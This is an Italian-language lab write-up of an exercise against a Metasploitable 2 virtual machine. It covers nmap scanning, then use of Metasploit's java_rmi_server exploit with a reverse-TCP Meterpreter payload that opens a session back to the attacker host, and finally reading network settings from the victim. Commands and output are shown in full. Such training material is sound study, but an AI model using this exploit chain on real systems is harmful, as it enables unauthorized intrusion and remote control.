

Ottenere una sessione remota Meterpreter

Questo esercizio richiede di sfruttare una vulnerabilità del servizio Java RMI (Remote Method Invocation) in esecuzione sulla porta 1099 della macchina Metasploitable per ottenere una sessione Meterpreter e raccogliere informazioni di rete. Meterpreter è un payload avanzato del framework Metasploit che fornisce funzionalità di controllo remoto sui sistemi compromessi. Meterpreter (Meta-Interpreter) è un payload del framework Metasploit che viene eseguito interamente in memoria sul sistema bersaglio. Metasploit è utile soprattutto per la sua caratteristica di non scrivere dati sul disco rigido, il che lo rende più difficile da rilevare.

Preparazione dell'ambiente

L'esercizio richiede per prima cosa la configurazione di una rete composta da tre dispositivi per simulare un attacco informatico controllato utilizzando Meterpreter.

1. Dispositivo Attaccante

- Indirizzo IP: 192.168.11.111
- Sistema operativo: Kali Linux

2. Dispositivo Vittima

- Indirizzo IP: 192.168.11.112
- Sistema operativo: Metasploitable 2

3. Router/Modem

- Indirizzo IP: 192.168.11.1
- Sistema operativo: pfSense

I tre dispositivi sono connessi in una rete locale (LAN) con subnet 192.168.11.0/24, dove il router/modem funge da gateway per la comunicazione.

Verifica della Configurazione

Per assicurarci che la configurazione di rete sia stata eseguita correttamente, procediamo con un test di connettività utilizzando il comando ping: “ping 192.168.11.112” (dalla kali)

```
(orco@vbox)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=8.00 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=4.00 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.000 ms  
^C
```

Dato che tutte le macchine sono state configurate correttamente, il risultato mostra che la comunicazione avviene normalmente.

Ricognizione

Per assicurarci che il servizio Java RMI sia effettivamente in esecuzione, eseguiamo una scansione con “nmap”:

1. `nmap -sV 192.168.11.112`

```
(orco@vbox)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 10:03 CEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.0040s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:1B:F7:14 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.15 seconds
```

2. (ho per essere piu selettivi)
`nmap -sV -p 1099 192.168.11.112`

```
(orco@vbox)-[~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 10:03 CEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.11.112
Host is up (0.021s latency).

PORT      STATE SERVICE      VERSION
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
MAC Address: 08:00:27:1B:F7:14 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds
```

Con la scansione “nmap” abbiamo la certezza che il servizio Java RMI è effettivamente attivo sulla porta 1099.

Sfruttamento della vulnerabilità con Metasploit

Iniziamo con l'avviare Metasploit tramite il comando: "**msfconsole**". All'apertura dell'interfaccia testuale, digitiamo il comando: "**search rmi**" per fare una prima ricerca.

```
Interact with a module by name or index. For example info 647, use 647 or use exploit/linux/local/runc_cwd_priv_esc
```

Essendo che la ricerca ha avuto troppi riscontri, facciamo una ricerca più puntuale indicando la tipologia (**type:**), la piattaforma (**platform:**) e delle parole chiave, ad esempio "server" (**name:**). Utilizziamo infine il comando:

"**search type:exploit platform:java name:rmi name:server**"

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/http/hp_autopass_license_traversal	2014-01-10	great	Yes	HP AutoPass License Server File Upload
1	\ target: Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50
2	\ target: Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50
3	\ target: Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50
4	\ target: Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
6	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
7	\ target: Generic (Java Payload)
8	\ target: Windows x86 (Native Payload)
9	\ target: Linux x86 (Native Payload)
10	\ target: Mac OS X PPC (Native Payload)
11	\ target: Mac OS X x86 (Native Payload)
12	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
13	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
14	exploit/windows/http/onts_weblogic_console	2019-03-13	excellent	Yes	Oracle Application Testing Suite WebLogic Server Administration Console War Deployment
15	exploit/multi/http/sun_java_dev_options	2010-01-20	great	Yes	Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
16	\ target: Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH)
17	\ target: Debug target
18	exploit/multi/http/glassfish_deployer	2011-08-04	excellent	No	Sun/Oracle GlassFish Server Authenticated Code Execution
19	\ target: Automatic
20	\ target: Java Universal
21	\ target: Windows Universal
22	\ target: Linux Universal
23	exploit/windows/antivirus/symantec_workspace_streaming_exec	2014-05-12	excellent	Yes	Symantec Workspace Streaming ManagementAgentServer.putFile XMLHttpRequest Arbitrary File Upload
24	exploit/multi/http/vmware_vcenter_uploadova_rce	2021-02-23	manual	Yes	VMware vCenter Server Unauthenticated OVA File Upload RCE
25	\ target: VMware vCenter Server <= 6.7 Update 1b (Linux)
26	\ target: VMware vCenter Server <= 6.7 Update 3j (Windows)
27	exploit/multi/http/visual_mining_netcharts_upload	2014-11-03	excellent	Yes	Visual Mining NetCharts Server Remote Code Execution
28	exploit/multi/misc/zend_java_bridge	2011-03-28	great	No	Zend Server Java Bridge Arbitrary Java Code Execution
29	\ target: Linux
30	\ target: Windows

Avendo ottenuto una lista meglio interpretabile, scegliamo l'exploit che fa al caso nostro, trovando questo riscontro nel: "**exploit/multi/misc/java_rmi_server**" all'indice 6. Usiamo questo exploit perché prende di mira una vulnerabilità nel Registry RMI permettendo l'esecuzione di codice da remoto. Essendo un modulo "**multi/misc**", funziona indipendentemente dal sistema operativo, dato che Java opera similmente ad una macchina virtuale, quindi è indipendente dal sistema operativo che lo ospita. Importante è il fatto che questo exploit non richiede autenticazione per connettersi al registro, rendendolo particolarmente efficace.

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
```

A questo punto, avendo trovato l'exploit adatto, usiamo il comando "use" per caricare il modulo precedentemente selezionato con il comando: "**use exploit/multi/misc/java_rmi_server**". Con i comandi "**set RHOSTS 192.168.11.112**" e "**set RPORT 1099**" indichiamo rispettivamente l'IP e la porta del target.

Ora possiamo verificare le opzioni del payload tramite il comando **"show payloads"**.

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_aws_instance_connect	.	normal	No	Unix SSH Shell, Bind Instance Connect (via AWS API)
1	payload/generic/custom	.	normal	No	Custom Payload
2	payload/generic/shell_bind_aws_ssm	.	normal	No	Command Shell, Bind SSM (via AWS API)
3	payload/generic/shell_bind_tcp	.	normal	No	Generic Command Shell, Bind TCP Inline
4	payload/generic/shell_reverse_tcp	.	normal	No	Generic Command Shell, Reverse TCP Inline
5	payload/generic/ssh/interact	.	normal	No	Interact with Established SSH Connection
6	payload/java/jsp_shell_bind_tcp	.	normal	No	Java JSP Command Shell, Bind TCP Inline
7	payload/java/jsp_shell_reverse_tcp	.	normal	No	Java JSP Command Shell, Reverse TCP Inline
8	payload/java/meterpreter/bind_tcp	.	normal	No	Java Meterpreter, Java Bind TCP Stager
9	payload/java/meterpreter/reverse_http	.	normal	No	Java Meterpreter, Java Reverse HTTP Stager
10	payload/java/meterpreter/reverse_https	.	normal	No	Java Meterpreter, Java Reverse HTTPS Stager
11	payload/java/meterpreter/reverse_tcp	.	normal	No	Java Meterpreter, Java Reverse TCP Stager
12	payload/java/shell/bind_tcp	.	normal	No	Command Shell, Java Bind TCP Stager
13	payload/java/shell/reverse_tcp	.	normal	No	Command Shell, Java Reverse TCP Stager
14	payload/java/shell_reverse_tcp	.	normal	No	Java Command Shell, Reverse TCP Inline
15	payload/multi/meterpreter/reverse_http	.	normal	No	Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
16	payload/multi/meterpreter/reverse_https	.	normal	No	Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
```

Leggendo attentamente, dopo varie prove ho compreso che l'ideale in questo caso fosse **"java/meterpreter/reverse_tcp"** all'indice 11. Ho capito che quest'ultimo è scritto specificamente per l'ambiente Java e stabilisce una connessione in uscita dal sistema vittima verso l'attaccante. Questo è fondamentale perché aggira i firewall che tipicamente bloccano le connessioni in entrata ma permettono quelle in uscita. Funziona anche quando la vittima è dietro NAT.

Quindi procediamo come indicato nell'immagine con il comando **"set PAYLOAD java/meterpreter/reverse_tcp"**.

```
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
```

Settiamo come LHOST ("local host") e LPORT ("local port") l'IP 192.168.11.111 e la porta 4444 con i comandi **"set LHOST 192.168.11.111"** e **"set LPORT 4444"**. Con questi parametri indichiamo rispettivamente l'IP e la porta dell'attaccante a cui la vittima si conatterà.

E infine, prima di eseguire l'exploit, controlliamo se la configurazione sia corretta utilizzando il comando **"show options"**.

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOST	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

Avvia l'exploit

A questo punto avendo verificato che la configurazione sia stata fatta correttamente possiamo eseguire l'exploit tramite il comando “exploit”.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/hnQJyid34WKWW
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:48720) at 2025-05-16 10:30:47 +0200
```

L'exploit ha avuto successo! Ora ho una sessione Meterpreter sulla macchina Metasploitable 2 e posso procedere a raccogliere le informazioni richieste dall'esercizio

E per farlo, accediamo alla shell tramite il comando “shell”. Come possiamo vedere, Meterpreter ha creato un nuovo processo sulla macchina vittima per ospitare la shell, identificato come “Process 1”. Subito dopo, crea un canale di comunicazione “Channel 1” tra la macchina attaccante e la shell sul sistema vittima.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ifconfig -a
eth0      Link encap:Ethernet  HWaddr 08:00:27:1b:f7:14
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1b:f714/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1565 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1558 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:235531 (230.0 KB)  TX bytes:132178 (129.0 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:324 errors:0 dropped:0 overruns:0 frame:0
          TX packets:324 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:132917 (129.8 KB)  TX bytes:132917 (129.8 KB)
```

Successivamente, tramite il comando “ipconfig -a”, otteniamo informazioni potenzialmente utili. Infine, otteniamo l'informazione richiesta (tabella di routing) tramite il comando “netstat -rn”.

```
netstat -rn
Kernel IP routing table
Destination        Gateway            Genmask           Flags     MSS Window  irtt Iface
192.168.11.0        0.0.0.0            255.255.255.0     U         0  0        0 eth0
0.0.0.0             192.168.11.1       0.0.0.0           UG        0  0        0 eth0
```